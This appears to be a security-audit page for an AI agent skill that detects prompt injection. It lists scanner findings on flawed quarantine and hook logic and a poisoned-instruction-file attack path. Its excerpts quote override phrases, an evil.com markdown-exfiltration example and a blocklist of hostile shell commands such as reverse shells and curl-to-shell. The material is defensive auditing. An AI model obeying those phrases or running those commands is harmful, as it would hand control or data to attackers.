Security audit

Openclaw Bastion

Security checks for vulnerabilities and agentic risk

Overview

This skill has a coherent security purpose, but it gives itself broad file-changing and persistent hook behavior with unsafe scoping and restoration logic.

Install only after reviewing the script behavior and avoid enabling the generated hooks as-is. Use read-only scan/check/status commands first, do not run quarantine/unquarantine on paths outside the intended workspace, and be cautious scanning secret-bearing files because matched text can be printed to the console.

A.I.G

Vulnerability Patterns

Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
System PersistenceInstalls backdoors, hooks, services, or scheduled tasks that survive the run
Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions

Findings (6)

T05 · Unauthorized Access and Privilege Escalation

Error

Location: scripts/bastion.py:1218
Finding: Workspace confinement bypass permits moving arbitrary accessible files
Content: View full analysis
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Error

Location: scripts/bastion.py:1329
Finding: Tamperable quarantine metadata permits restoration to arbitrary filesystem paths
Content: View full analysis
Remediation: View remediation

T06 · System Persistence

Error

Location: scripts/bastion.py:1461
Finding: Generated hook commands are vulnerable to shell-command injection
Content: View full analysis
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Warning

Location: scripts/bastion.py:1485
Finding: Generated Bash enforcement hook invokes a nonexistent command
Content: View full analysis
Remediation: View remediation

T01 · Skill Instruction Hijacking

Warning

Location: scripts/bastion.py:1112
Finding: “Blocked” prompt injections remain intact inside HTML comments
Content: View full analysis
" f"{original_text}" f"" ) modified = modified[:start] + blocked + modified[end:] blocked_count += 1 write_file_text(target_path, modified) ``` HTML comments are display-level markup, not a security boundary for language-model input. Agents commonly receive raw Markdown source, including comments. The original hostile text therefore remains in the content presented to the model and may still influence it. The scanner also does not exclude HTML comments. A later protection sweep can rediscover the retained text and wrap it again, creating repeated backups and nested markers while never removing the injection. This is especially sensitive because the automated `protect` flow applies `cmd_block` to agent instruction files. ### Attack Path 1. An attacker places a recognized injection phrase in an agent instruction file. 2. The operator runs `block`, or an installed session-start `protect` hook invokes it automatically. 3. Bastion surrounds the hostile text with HTML comments but leaves the instruction unchanged. 4. The agent reads the raw instruction file and still receives the hostile phrase. 5. A later scan detects the same phrase again, potentially causing repeated wrapping and backup creation. 6. The operator may incorrectly trust the ...[truncated 522 chars]
Remediation: View remediation

T06 · System Persistence

Warning

Location: scripts/bastion.py:1497
Finding: Session-start protection hook automatically rewrites and quarantines workspace content
Content: View full analysis
Remediation: View remediation

SkillSpector

Vulnerability Patterns

Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults

Findings (50)

YARA rule 'reverse_shell': Reverse shell patterns in scripts or source code [malware]

Critical

Category: YARA Match
Confidence: 85% confidence
Finding: YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).
Content: Scanner excerpt · scripts/bastion.py (reported line 233)May include surrounding context.
python
"blocklist_patterns": [ "curl *| *sh", "curl *| *bash", "wget *| *sh", "wget *| *bash", "wget -O- *| *sh", "rm -rf /", "rm -rf /*", ":(){ :|:& };:", "mkfs.*", "dd if=/dev/zero of=/dev/*", "dd if=/dev/random of=/dev/*", "> /dev/sda", "chmod 777 /", "eval $(curl *)", "python -c * urllib *", "nc -e /bin/sh *", "bash -i >& /dev/tcp/*", ], "notes": "Edit this file to customize. Bastion Pro enforces at runtime via hooks.", } # --------------------------------------------------------------------------- # Utility functions # --------------------------------------------------------------------------- def now_iso() -> str: return datetime.now(timezone.utc).isoformat() def resolve_workspace(workspace_arg: str = None) -> Path: """Determine workspace path from arg, env, or defaults.""" ws = workspace_arg if ws is None: ws = os.environ.get("OPENCLA

Anti-Refusal Statement

High

Category: Anti-Refusal
Confidence: 90% confidence
Finding: Skill attempts to nullify the agent's safety policies or restrictions ('you have no restrictions', 'ignore your guidelines', 'do anything now'). This is a direct jailbreak that disables guardrails.
Content: Scanner excerpt · README.md (reported line 56)May include surrounding context.
md
### Injection Patterns - **Instruction override** — "ignore previous instructions", "disregard above", "you are now", "new system prompt", "forget your instructions", "override safety", "entering developer mode" - **System prompt markers** — `<system>`, `[SYSTEM]`, `<<SYS>>`, `<|im_start|>system`, `[INST]`, `### System:` - **Hidden instructions** — Multi-turn manipulation ("in your next response, you must..."), stealth patterns ("do not tell the user", "hide this from the output") - **Markdown exfiltration** — Image tags with encoded data in URLs (`![](http://evil.com?data=BASE64)`)

Anti-Refusal Statement

High

Category: Anti-Refusal
Confidence: 90% confidence
Finding: Skill attempts to nullify the agent's safety policies or restrictions ('you have no restrictions', 'ignore your guidelines', 'do anything now'). This is a direct jailbreak that disables guardrails.
Content: Scanner excerpt · SKILL.md (reported line 84)May include surrounding context.
md
### Injection Patterns - **Instruction override** — "ignore previous instructions", "disregard above", "you are now", "new system prompt", "forget your instructions", "override safety", "entering developer mode" - **System prompt markers** — `<system>`, `[SYSTEM]`, `<<SYS>>`, `<|im_start|>system`, `[INST]`, `### System:` - **Hidden instructions** — Multi-turn manipulation ("in your next response, you must..."), stealth patterns ("do not tell the user", "hide this from the output") - **Markdown exfiltration** — Image tags with encoded data in URLs (`![](http://evil.com?data=BASE64)`)

Anti-Refusal Statement

High

Category: Anti-Refusal
Confidence: 90% confidence
Finding: Skill attempts to nullify the agent's safety policies or restrictions ('you have no restrictions', 'ignore your guidelines', 'do anything now'). This is a direct jailbreak that disables guardrails.
Content: Scanner excerpt · scripts/bastion.py (reported line 99)May include surrounding context.
python
### Injection Patterns - **Instruction override** — "ignore previous instructions", "disregard above", "you are now", "new system prompt", "forget your instructions", "override safety", "entering developer mode" - **System prompt markers** — `<system>`, `[SYSTEM]`, `<<SYS>>`, `<|im_start|>system`, `[INST]`, `### System:` - **Hidden instructions** — Multi-turn manipulation ("in your next response, you must..."), stealth patterns ("do not tell the user", "hide this from the output") - **Markdown exfiltration** — Image tags with encoded data in URLs (`![](http://evil.com?data=BASE64)`)

Instruction Override

High

Category: Prompt Injection
Confidence: 80% confidence
Finding: This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.
Content: Scanner excerpt · README.md (reported line 56)May include surrounding context.
md
### Injection Patterns - **Instruction override** — "ignore previous instructions", "disregard above", "you are now", "new system prompt", "forget your instructions", "override safety", "entering developer mode" - **System prompt markers** — `<system>`, `[SYSTEM]`, `<<SYS>>`, `<|im_start|>system`, `[INST]`, `### System:` - **Hidden instructions** — Multi-turn manipulation ("in your next response, you must..."), stealth patterns ("do not tell the user", "hide this from the output") - **Markdown exfiltration** — Image tags with encoded data in URLs (`![](http://evil.com?data=BASE64)`)

Instruction Override

High

Category: Prompt Injection
Confidence: 80% confidence
Finding: This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.
Content: Scanner excerpt · scripts/bastion.py (reported line 94)May include surrounding context.
python
### Injection Patterns - **Instruction override** — "ignore previous instructions", "disregard above", "you are now", "new system prompt", "forget your instructions", "override safety", "entering developer mode" - **System prompt markers** — `<system>`, `[SYSTEM]`, `<<SYS>>`, `<|im_start|>system`, `[INST]`, `### System:` - **Hidden instructions** — Multi-turn manipulation ("in your next response, you must..."), stealth patterns ("do not tell the user", "hide this from the output") - **Markdown exfiltration** — Image tags with encoded data in URLs (`![](http://evil.com?data=BASE64)`)

Instruction Override

High

Category: Prompt Injection
Confidence: 90% confidence
Finding: This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.
Content: Scanner excerpt · README.md (reported line 56)May include surrounding context.
md
### Injection Patterns - **Instruction override** — "ignore previous instructions", "disregard above", "you are now", "new system prompt", "forget your instructions", "override safety", "entering developer mode" - **System prompt markers** — `<system>`, `[SYSTEM]`, `<<SYS>>`, `<|im_start|>system`, `[INST]`, `### System:` - **Hidden instructions** — Multi-turn manipulation ("in your next response, you must..."), stealth patterns ("do not tell the user", "hide this from the output") - **Markdown exfiltration** — Image tags with encoded data in URLs (`![](http://evil.com?data=BASE64)`)

Instruction Override

High

Category: Prompt Injection
Confidence: 90% confidence
Finding: This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.
Content: Scanner excerpt · SKILL.md (reported line 84)May include surrounding context.
md
### Injection Patterns - **Instruction override** — "ignore previous instructions", "disregard above", "you are now", "new system prompt", "forget your instructions", "override safety", "entering developer mode" - **System prompt markers** — `<system>`, `[SYSTEM]`, `<<SYS>>`, `<|im_start|>system`, `[INST]`, `### System:` - **Hidden instructions** — Multi-turn manipulation ("in your next response, you must..."), stealth patterns ("do not tell the user", "hide this from the output") - **Markdown exfiltration** — Image tags with encoded data in URLs (`![](http://evil.com?data=BASE64)`)

Instruction Override

High

Category: Prompt Injection
Confidence: 90% confidence
Finding: This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.
Content: Scanner excerpt · scripts/bastion.py (reported line 99)May include surrounding context.
python
### Injection Patterns - **Instruction override** — "ignore previous instructions", "disregard above", "you are now", "new system prompt", "forget your instructions", "override safety", "entering developer mode" - **System prompt markers** — `<system>`, `[SYSTEM]`, `<<SYS>>`, `<|im_start|>system`, `[INST]`, `### System:` - **Hidden instructions** — Multi-turn manipulation ("in your next response, you must..."), stealth patterns ("do not tell the user", "hide this from the output") - **Markdown exfiltration** — Image tags with encoded data in URLs (`![](http://evil.com?data=BASE64)`)

Instruction Override

High

Category: Prompt Injection
Confidence: 80% confidence
Finding: This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.
Content: Scanner excerpt · README.md (reported line 56)May include surrounding context.
md
### Injection Patterns - **Instruction override** — "ignore previous instructions", "disregard above", "you are now", "new system prompt", "forget your instructions", "override safety", "entering developer mode" - **System prompt markers** — `<system>`, `[SYSTEM]`, `<<SYS>>`, `<|im_start|>system`, `[INST]`, `### System:` - **Hidden instructions** — Multi-turn manipulation ("in your next response, you must..."), stealth patterns ("do not tell the user", "hide this from the output") - **Markdown exfiltration** — Image tags with encoded data in URLs (`![](http://evil.com?data=BASE64)`)

Instruction Override

High

Category: Prompt Injection
Confidence: 80% confidence
Finding: This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.
Content: Scanner excerpt · SKILL.md (reported line 84)May include surrounding context.
md
### Injection Patterns - **Instruction override** — "ignore previous instructions", "disregard above", "you are now", "new system prompt", "forget your instructions", "override safety", "entering developer mode" - **System prompt markers** — `<system>`, `[SYSTEM]`, `<<SYS>>`, `<|im_start|>system`, `[INST]`, `### System:` - **Hidden instructions** — Multi-turn manipulation ("in your next response, you must..."), stealth patterns ("do not tell the user", "hide this from the output") - **Markdown exfiltration** — Image tags with encoded data in URLs (`![](http://evil.com?data=BASE64)`)

Instruction Override

High

Category: Prompt Injection
Confidence: 80% confidence
Finding: This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.
Content: Scanner excerpt · scripts/bastion.py (reported line 96)May include surrounding context.
python
### Injection Patterns - **Instruction override** — "ignore previous instructions", "disregard above", "you are now", "new system prompt", "forget your instructions", "override safety", "entering developer mode" - **System prompt markers** — `<system>`, `[SYSTEM]`, `<<SYS>>`, `<|im_start|>system`, `[INST]`, `### System:` - **Hidden instructions** — Multi-turn manipulation ("in your next response, you must..."), stealth patterns ("do not tell the user", "hide this from the output") - **Markdown exfiltration** — Image tags with encoded data in URLs (`![](http://evil.com?data=BASE64)`)

YARA rule 'agent_skill_prompt_injection_hidden_instructions': Prompt injection or hidden instructions embedded in AI agent skill text [agent_skills]

High

Category: YARA Match
Confidence: 80% confidence
Finding: YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
Content: Scanner excerpt · README.md (reported line 56)May include surrounding context.
3 scripts/bastion.py boundaries

View command allowlist/blocklist

python3 scripts/bastion.py allowlist

Quick posture summary

python3 scripts/bastion.py status

text
All commands accept `--workspace /path/to/workspace`. If omitted, auto-detects from `$OPENCLAW_WORKSPACE`, current directory, or `~/.openclaw/workspace`. ## What It Detects ### Injection Patterns - **Instruction override** — "ignore previous instructions", "disregard above", "you are now", "new system prompt", "forget your instructions", "override safety", "entering developer mode" - **System prompt markers** — `<system>`, `[SYSTEM]`, `<<SYS>>`, `<|im_start|>system`, `[INST]`, `### System:` - **Hidden instructions** — Multi-turn manipulation ("in your next response, you must..."), stealth patterns ("do not tell the user", "hide this from the output") - **Markdown exfiltration** — Image tags with encoded data in URLs (`![](http://evil.com?data=BASE64)`) - **HTML injection** — `<script>`, `<iframe>`, `<img on

YARA rule 'agent_skill_prompt_injection_hidden_instructions': Prompt injection or hidden instructions embedded in AI agent skill text [agent_skills]

High

Category: YARA Match
Confidence: 80% confidence
Finding: YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
Content: Scanner excerpt · scripts/bastion.py (reported line 94)May include surrounding context.
python
3 scripts/bastion.py boundaries # View command allowlist/blocklist python3 scripts/bastion.py allowlist # Quick posture summary python3 scripts/bastion.py status ``` All commands accept `--workspace /path/to/workspace`. If omitted, auto-detects from `$OPENCLAW_WORKSPACE`, current directory, or `~/.openclaw/workspace`. ## What It Detects ### Injection Patterns - **Instruction override** — "ignore previous instructions", "disregard above", "you are now", "new system prompt", "forget your instructions", "override safety", "entering developer mode" - **System prompt markers** — `<system>`, `[SYSTEM]`, `<<SYS>>`, `<|im_start|>system`, `[INST]`, `### System:` - **Hidden instructions** — Multi-turn manipulation ("in your next response, you must..."), stealth patterns ("do not tell the user", "hide this from the output") - **Markdown exfiltration** — Image tags with encoded data in URLs (`![](http://evil.com?data=BASE64)`) - **HTML injection** — `<script>`, `<iframe>`, `<img on

External Script Fetching

High

Category: Supply Chain
Confidence: 90% confidence
Finding: Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
Content: Scanner excerpt · README.md (reported line 66)May include surrounding context.
md
- **Unicode tricks** — Zero-width characters, RTL overrides, invisible formatting - **Homoglyph substitution** — Cyrillic/Latin lookalikes mixed into ASCII text - **Delimiter confusion** — Fake markdown code block boundaries to escape context - **Dangerous commands** — `curl | bash`, `wget | sh`, `rm -rf /`, fork bombs ### Boundary Analysis

External Script Fetching

High

Category: Supply Chain
Confidence: 90% confidence
Finding: Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
Content: Scanner excerpt · README.md (reported line 66)May include surrounding context.
md
- **Unicode tricks** — Zero-width characters, RTL overrides, invisible formatting - **Homoglyph substitution** — Cyrillic/Latin lookalikes mixed into ASCII text - **Delimiter confusion** — Fake markdown code block boundaries to escape context - **Dangerous commands** — `curl | bash`, `wget | sh`, `rm -rf /`, fork bombs ### Boundary Analysis

Tool Parameter Abuse

High

Category: Tool Misuse
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
Content: Scanner excerpt · README.md (reported line 66)May include surrounding context.
md
- **Unicode tricks** — Zero-width characters, RTL overrides, invisible formatting - **Homoglyph substitution** — Cyrillic/Latin lookalikes mixed into ASCII text - **Delimiter confusion** — Fake markdown code block boundaries to escape context - **Dangerous commands** — `curl | bash`, `wget | sh`, `rm -rf /`, fork bombs ### Boundary Analysis

Tool Parameter Abuse

High

Category: Tool Misuse
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
Content: Scanner excerpt · SKILL.md (reported line 89)May include surrounding context.
md
- **Unicode tricks** — Zero-width characters, RTL overrides, invisible formatting - **Homoglyph substitution** — Cyrillic/Latin lookalikes mixed into ASCII text - **Delimiter confusion** — Fake markdown code block boundaries to escape context - **Dangerous commands** — `curl | bash`, `wget | sh`, `rm -rf /`, fork bombs ### Boundary Analysis

Tool Parameter Abuse

High

Category: Tool Misuse
Confidence: 85% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
Content: Scanner excerpt · README.md (reported line 86)May include surrounding context.
md
Bastion maintains a `.bastion-policy.json` in the workspace root with: - **Allowlist**: Standard safe commands (git, python, node, npm, etc.) - **Blocklist**: Dangerous patterns (curl pipe to shell, rm -rf /, fork bombs, etc.) Run `allowlist` to create the default policy and view it. Edit the JSON file directly to customize.

Tool Parameter Abuse

High

Category: Tool Misuse
Confidence: 90% confidence
Finding: Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
Content: Scanner excerpt · README.md (reported line 86)May include surrounding context.
md
Bastion maintains a `.bastion-policy.json` in the workspace root with: - **Allowlist**: Standard safe commands (git, python, node, npm, etc.) - **Blocklist**: Dangerous patterns (curl pipe to shell, rm -rf /, fork bombs, etc.) Run `allowlist` to create the default policy and view it. Edit the JSON file directly to customize.

YARA rule 'agent_skill_prompt_injection_hidden_instructions': Prompt injection or hidden instructions embedded in AI agent skill text [agent_skills]

High

Category: YARA Match
Confidence: 80% confidence
Finding: YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
Content: Scanner excerpt · SKILL.md (reported line 20)May include surrounding context.
This Matters

Agents process content from many sources: local files, API responses, web pages, user uploads. Any of these can contain prompt injection attacks — hidden instructions that manipulate agent behavior. Bastion scans this content before the agent acts on it.

Commands

Scan for Injections

Scan files or directories for prompt injection patterns. Detects instruction overrides, system prompt markers, hidden Unicode, markdown exfiltration, HTML injection, shell injection, encoded payloads, delimiter confusion, multi-turn manipulation, and dangerous commands.

If no target is specified, scans the entire workspace.

bash
python3 {baseDir}/scripts/bastion.py scan

Scan a specific file or directory:

bash
python3 {baseDir}/scripts/bastion.py scan path/to/file.md python3 {baseDir}/scripts/bastion.py scan path/to/directory/

Quick File Check

Fast single-file injection check. Same detection patterns as scan, targeted to one file.

bash
python3 {baseDi

External Script Fetching

High

Category: Supply Chain
Confidence: 90% confidence
Finding: Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
Content: Scanner excerpt · SKILL.md (reported line 89)May include surrounding context.
md
| **Hidden instructions** | Multi-turn manipulation ("in your next response, you must"), stealth patterns ("do not tell the user") | CRITICAL | | **HTML injection** | `<script>`, `<iframe>`, `<img onerror=>`, hidden divs, `<svg onload=>` | CRITICAL | | **Markdown exfiltration** | Image tags with encoded data in URLs | CRITICAL | | **Dangerous commands** | `curl \| bash`, `wget \| sh`, `rm -rf /`, fork bombs | CRITICAL | | **Unicode tricks** | Zero-width characters, RTL overrides, invisible formatting | WARNING | | **Homoglyph substitution** | Cyrillic/Latin lookalikes mixed into ASCII text | WARNING | | **Base64 payloads** | Large encoded blobs outside code blocks | WARNING |

External Script Fetching

High

Category: Supply Chain
Confidence: 90% confidence
Finding: Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
Content: Scanner excerpt · SKILL.md (reported line 89)May include surrounding context.
md
| **Hidden instructions** | Multi-turn manipulation ("in your next response, you must"), stealth patterns ("do not tell the user") | CRITICAL | | **HTML injection** | `<script>`, `<iframe>`, `<img onerror=>`, hidden divs, `<svg onload=>` | CRITICAL | | **Markdown exfiltration** | Image tags with encoded data in URLs | CRITICAL | | **Dangerous commands** | `curl \| bash`, `wget \| sh`, `rm -rf /`, fork bombs | CRITICAL | | **Unicode tricks** | Zero-width characters, RTL overrides, invisible formatting | WARNING | | **Homoglyph substitution** | Cyrillic/Latin lookalikes mixed into ASCII text | WARNING | | **Base64 payloads** | Large encoded blobs outside code blocks | WARNING |

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · scripts/bastion.py (reported line 63)May include surrounding context.
python
SKIP_DIRS = { ".git", ".svn", ".hg", "__pycache__", "node_modules", ".venv", "venv", ".integrity", ".bastion", ".env", ".tox", "dist", "build", "egg-info", ".quarantine", }

Credential Access

High

Category: Privilege Escalation
Confidence: 83% confidence
Finding: Including '.env' in SCANNABLE_EXTENSIONS means the tool will read and scan dotenv files, which commonly contain secrets. In this skill's context, scanning content and printing matched excerpts can expose credentials in console output, logs, or metadata if a .env file contains suspicious-looking strings.
Content: Scanner excerpt · scripts/bastion.py (reported line 84)May include surrounding context.
python
".md", ".txt", ".json", ".yaml", ".yml", ".toml", ".ini", ".cfg", ".py", ".js", ".ts", ".jsx", ".tsx", ".html", ".htm", ".xml", ".csv", ".log", ".sh", ".bash", ".zsh", ".bat", ".cmd", ".ps1", ".env", ".conf", ".rst", ".tex", ".rb", ".go", ".rs", ".java", ".c", ".cpp", ".h", ".hpp", ".css", ".scss", ".less", ".sql", ".r", ".R", ".jl", ".lua", ".php", ".swift", ".kt", ".scala", }

Static analysis

Detected: suspicious.prompt_injection_instructions

Prompt-injection style instruction pattern detected.

Warn

Code: suspicious.prompt_injection_instructions
Location: README.md:56

Overview

A.I.G

T05 · Unauthorized Access and Privilege Escalation

T05 · Unauthorized Access and Privilege Escalation

T06 · System Persistence

T09 · Insecure Skill Coding Practices

T01 · Skill Instruction Hijacking

T06 · System Persistence

SkillSpector

YARA rule 'reverse_shell': Reverse shell patterns in scripts or source code [malware]

Anti-Refusal Statement

Anti-Refusal Statement

Anti-Refusal Statement

Instruction Override

Instruction Override

Instruction Override

Instruction Override

Instruction Override

Instruction Override

Instruction Override

Instruction Override

YARA rule 'agent_skill_prompt_injection_hidden_instructions': Prompt injection or hidden instructions embedded in AI agent skill text [agent_skills]

View command allowlist/blocklist

Quick posture summary

YARA rule 'agent_skill_prompt_injection_hidden_instructions': Prompt injection or hidden instructions embedded in AI agent skill text [agent_skills]

External Script Fetching

External Script Fetching

Tool Parameter Abuse

Tool Parameter Abuse

Tool Parameter Abuse

Tool Parameter Abuse

YARA rule 'agent_skill_prompt_injection_hidden_instructions': Prompt injection or hidden instructions embedded in AI agent skill text [agent_skills]

Commands

Scan for Injections

Quick File Check

External Script Fetching

External Script Fetching

Credential Access

Credential Access

Static analysis

Prompt-injection style instruction pattern detected.